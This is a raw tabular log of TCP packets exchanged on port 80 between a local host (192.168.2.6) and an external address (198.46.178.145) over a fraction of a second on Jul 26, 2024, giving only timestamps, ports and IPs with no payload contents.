Jul 26, 2024 11:27:06.859390974 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.859411955 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.859417915 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.859428883 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.859436989 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.859450102 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.859457016 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.859469891 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.859476089 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.859487057 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.859493971 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.859505892 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.859515905 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.859527111 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.859540939 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.859553099 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.859565973 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.859572887 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.859586954 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.859599113 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.859605074 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.859616995 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.859623909 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.859636068 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.859648943 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.859654903 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.859668016 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.859680891 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.859685898 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.859699965 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.859704971 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.859725952 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.859743118 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.860096931 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.860109091 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.860148907 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.860172987 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.860187054 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.860198975 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.860207081 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.860219955 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.860229015 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.860234022 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.860245943 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.860254049 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.860260963 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.860282898 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.920056105 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.920109034 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.920128107 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.920160055 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.920181036 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.920222998 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.920233965 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.920264006 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.920284986 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.920326948 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.920337915 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.920368910 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.920388937 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.920430899 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.920788050 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.920798063 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.920814991 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.920826912 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.920833111 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.920846939 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.920860052 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.920871019 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.920881033 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.920892954 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.920897961 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.920911074 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.920917034 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.920931101 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.920945883 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.920970917 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.925026894 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.925035954 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.925041914 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.925060987 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.925076962 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.925088882 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.925105095 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.925117016 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.925132036 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.925143957 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.925159931 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.925173998 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.925189018 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.925200939 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.925206900 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.925223112 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.925235033 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.925251961 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.925261021 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.925293922 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.947932959 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.947949886 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.947962046 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.947982073 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.947988033 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.948000908 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.948004961 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.948016882 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.948024988 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.948034048 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.948050976 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.948071003 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.948076963 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.948087931 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.948096037 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.948101997 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.948112965 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.948118925 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.948128939 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.948134899 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.948147058 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.948152065 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.948168039 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.948183060 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.948193073 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.948224068 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.948309898 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.948331118 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.948339939 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.948348045 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.948360920 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.948365927 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.948376894 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.948381901 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.948400021 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.948415041 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.948466063 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.948477983 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.948503017 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.948515892 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.948539972 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.948618889 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.948627949 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.948642969 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.948652029 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.948657036 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.948667049 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.948682070 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.948693037 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.948700905 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.948708057 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.948719025 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.948731899 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.948736906 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.948750019 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.948759079 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.948767900 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.948781013 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.948803902 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.949104071 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949112892 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949129105 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949137926 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949146986 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.949153900 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949162960 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949172020 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.949178934 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949187994 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949193001 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.949203968 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949209929 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.949219942 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949229002 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.949246883 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.949470997 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949484110 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949501991 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949511051 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949518919 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.949532032 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949537992 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.949548006 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949558020 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949563026 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.949572086 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949584961 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949589014 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.949599981 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949604988 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.949615955 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949625015 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949631929 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.949642897 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949647903 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.949657917 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.949662924 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949675083 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949678898 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.949692965 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949697018 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.949707985 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.949712038 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949723959 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.949728012 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949738979 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949739933 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.949753046 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949764967 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.949800014 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.949863911 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.950771093 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.950779915 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.950790882 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.950804949 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.950817108 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.950822115 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.950834036 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.950843096 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.950850010 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.950859070 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.950865030 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.950874090 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.950881958 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.950891972 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.950897932 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.950908899 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.950913906 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.950925112 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.950931072 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.950943947 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.950948954 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.950959921 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.950965881 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.950977087 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.951000929 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.010701895 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.010739088 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.010749102 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.010756969 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.010775089 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.010785103 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.010793924 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.010807991 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.010823965 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.010884047 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.010962009 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.010982037 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.010991096 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.011001110 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.011034966 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.011105061 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.011115074 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.011130095 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.011137962 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.011147976 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.011153936 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.011169910 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.011185884 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.011300087 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.011308908 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.011323929 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.011334896 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.011339903 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.011353016 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.011362076 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.011367083 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.011379957 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.011384010 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.011400938 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.011415958 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.011475086 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.011485100 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.011518955 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.011626959 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.011635065 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.011647940 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.011656046 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.011667967 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.011672974 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.011683941 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.011691093 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.011701107 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.011706114 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.011717081 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.011734009 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.011801004 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.011810064 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.011827946 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.011832952 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.011845112 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.011848927 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.011859894 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.011867046 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.011879921 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.011895895 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.038791895 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.038815022 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.038827896 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.038841009 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.038851023 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.038858891 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.038872004 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.038878918 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.038892031 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.038901091 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.038907051 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.038917065 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.038928032 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.038928986 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.038960934 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.038990021 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039010048 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039019108 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039026976 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.039041042 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039048910 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.039057970 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039067030 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039074898 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.039088011 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039096117 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.039103985 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039109945 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.039119959 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039133072 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.039139986 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.039155960 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039163113 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.039170027 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039184093 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039194107 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.039202929 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039208889 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:07.039218903 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:07.039225101 CEST	49741	80	192.168.2.6	198.46.178.145
